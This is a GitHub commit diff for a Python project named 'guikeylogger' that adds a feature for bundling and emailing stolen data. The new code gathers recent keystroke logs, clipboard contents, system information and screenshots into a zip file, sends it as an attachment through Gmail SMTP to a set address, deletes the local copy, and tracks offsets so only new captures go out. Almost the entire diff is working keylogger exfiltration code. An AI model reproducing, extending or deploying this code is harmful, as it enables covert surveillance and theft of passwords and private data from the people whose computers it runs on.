Skip to content

Commit 383ad89

Browse files
feat(zip): Add feat of zip file details send through mail
1 parent c061875 commit 383ad89

File tree

2 files changed

+149
-12
lines changed

2 files changed

+149
-12
lines changed

app/.gitignore

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
.env
22
data/*.txt
33
data/*.png
4-
data/screenshots
4+
data/screenshots
5+
data/*.zip
6+
data/*.json

app/guikeylogger.py

Lines changed: 146 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,10 @@
11
# Import necessary libraries
22
import logging
33
import os
4+
import time
45
import platform
6+
import json
7+
import zipfile
58
import smtplib
69
import socket
710
import threading
@@ -35,6 +38,11 @@
3538
clipboard_information = "data/clipboard.txt"
3639
SCREENSHOT_DIR="data/screenshots"
3740

41+
DATA_DIR = "data"
42+
SCREENSHOTS_DIR = os.path.join(DATA_DIR, "screenshots")
43+
STATE_FILE = os.path.join(DATA_DIR, "last_email_state.json")
44+
KEYLOG_EXTRA_BYTES = 2048
45+
3846
# Retrieve email and password from environment variables
3947
email_address = os.getenv('email')
4048
password = os.getenv('pass')
@@ -53,29 +61,156 @@ def on_closing():
5361
root.destroy()
5462

5563

56-
# Function to send email with attachment
64+
def load_state():
65+
default = {
66+
"last_email_time": 0.0,
67+
"offsets": {"key_log": 0, "clipboard": 0, "systeminfo": 0},
68+
"sent_screenshots": []
69+
}
70+
if not os.path.exists(STATE_FILE):
71+
os.makedirs(DATA_DIR, exist_ok=True)
72+
with open(STATE_FILE, "w") as f:
73+
json.dump(default, f)
74+
return default
75+
try:
76+
with open(STATE_FILE, "r") as f:
77+
return json.load(f)
78+
except:
79+
return default
80+
81+
def save_state(state):
82+
with open(STATE_FILE, "w") as f:
83+
json.dump(state, f)
84+
85+
def read_from_offset(path, offset, extra_bytes=0):
86+
if not os.path.exists(path):
87+
return "", 0
88+
file_size = os.path.getsize(path)
89+
start = max(0, offset - extra_bytes)
90+
with open(path, "rb") as f:
91+
f.seek(start)
92+
data_bytes = f.read()
93+
data = data_bytes.decode("utf-8", errors="replace")
94+
return data, file_size
95+
96+
def gather_screenshots(last_email_time, sent_list):
97+
if not os.path.exists(SCREENSHOTS_DIR):
98+
return []
99+
files = []
100+
for fname in sorted(os.listdir(SCREENSHOTS_DIR)):
101+
fpath = os.path.join(SCREENSHOTS_DIR, fname)
102+
if not os.path.isfile(fpath):
103+
continue
104+
try:
105+
mtime = os.path.getmtime(fpath)
106+
except:
107+
continue
108+
if mtime > last_email_time and fname not in sent_list:
109+
files.append((fname, fpath, mtime))
110+
files.sort(key=lambda x: x[2])
111+
return files
112+
113+
def make_zip(state):
114+
os.makedirs(DATA_DIR, exist_ok=True)
115+
timestamp = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ")
116+
zip_name = f"bundle_{timestamp}.zip"
117+
zip_path = os.path.join(DATA_DIR, zip_name)
118+
119+
new_state_updates = {"offsets": {}, "sent_screenshots": []}
120+
121+
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
122+
# Key log
123+
key_log_path = os.path.join(DATA_DIR, "key_log.txt")
124+
key_data, new_offset = read_from_offset(key_log_path, state["offsets"].get("key_log", 0), KEYLOG_EXTRA_BYTES)
125+
if key_data:
126+
z.writestr("key_log_recent.txt", key_data)
127+
new_state_updates["offsets"]["key_log"] = new_offset
128+
129+
# Clipboard recent data
130+
clipboard_path = os.path.join(DATA_DIR, "clipboard.txt")
131+
clip_data, new_clip_offset = read_from_offset(clipboard_path, state["offsets"].get("clipboard", 0))
132+
if clip_data:
133+
z.writestr("clipboard_recent.txt", clip_data)
134+
new_state_updates["offsets"]["clipboard"] = new_clip_offset
135+
136+
# Clipboard full file (optional)
137+
if os.path.exists(clipboard_path):
138+
z.write(clipboard_path, arcname="clipboard_full.txt")
139+
140+
141+
142+
# System info
143+
sysinfo_path = os.path.join(DATA_DIR, "systeminfo.txt")
144+
sys_data, new_sys_offset = read_from_offset(sysinfo_path, state["offsets"].get("systeminfo", 0))
145+
if sys_data:
146+
z.writestr("systeminfo_recent.txt", sys_data)
147+
new_state_updates["offsets"]["systeminfo"] = new_sys_offset
148+
149+
# Screenshots
150+
last_email_time = state.get("last_email_time", 0.0)
151+
screenshots = gather_screenshots(last_email_time, state.get("sent_screenshots", []))
152+
for fname, fpath, mtime in screenshots:
153+
arcname = os.path.join("screenshots", fname)
154+
try:
155+
z.write(fpath, arcname=arcname)
156+
new_state_updates["sent_screenshots"].append(fname)
157+
except:
158+
continue
159+
160+
return zip_path, new_state_updates
161+
57162
def send_email(filename, attachment, toaddr):
163+
"""
164+
Modified to send bundled zip with all recent logs and screenshots.
165+
filename: will be replaced by generated zip filename
166+
attachment: ignored, auto-handled
167+
"""
168+
# Load last state
169+
state = load_state()
170+
171+
# Create zip with recent logs/screenshots
172+
zip_path, updates = make_zip(state)
173+
filename = os.path.basename(zip_path)
174+
175+
# Compose email
58176
fromaddr = email_address
59177
msg = MIMEMultipart()
60178
msg['From'] = fromaddr
61179
msg['To'] = toaddr
62-
msg['Subject'] = "Log File"
63-
body = "LOG file"
180+
msg['Subject'] = "Keylogger Logs Bundle"
181+
body = "Attached is the recent keylogger data bundle."
64182
msg.attach(MIMEText(body, 'plain'))
65-
filename = filename
66-
attachment = open(attachment, 'rb')
67-
p = MIMEBase('application', 'octet-stream')
68-
p.set_payload(attachment.read())
183+
184+
with open(zip_path, 'rb') as attachment_file:
185+
p = MIMEBase('application', 'octet-stream')
186+
p.set_payload(attachment_file.read())
69187
encoders.encode_base64(p)
70-
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
188+
p.add_header('Content-Disposition', f"attachment; filename={filename}")
71189
msg.attach(p)
190+
191+
# Send email
72192
s = smtplib.SMTP('smtp.gmail.com', 587)
73193
s.starttls()
74194
s.login(fromaddr, password)
75-
text = msg.as_string()
76-
s.sendmail(fromaddr, toaddr, text)
195+
s.sendmail(fromaddr, toaddr, msg.as_string())
77196
s.quit()
78197

198+
# Delete zip after sending
199+
try:
200+
os.remove(zip_path)
201+
except:
202+
pass
203+
204+
# Update state
205+
new_state = state.copy()
206+
new_state["last_email_time"] = time.time()
207+
offsets = new_state.get("offsets", {})
208+
offsets.update(updates.get("offsets", {}))
209+
new_state["offsets"] = offsets
210+
sent = set(new_state.get("sent_screenshots", []))
211+
sent.update(updates.get("sent_screenshots", []))
212+
new_state["sent_screenshots"] = list(sent)
213+
save_state(new_state)
79214

80215
# Function to gather system information
81216
def computer_information():
@@ -183,7 +318,7 @@ def start_logger():
183318
print(count)
184319
if stopFlag:
185320
break
186-
if count % 30 == 0:
321+
if count % 30 ==0 :
187322
copy_clipboard()
188323
if count == 0:
189324
screenshot()

0 commit comments

Comments
 (0)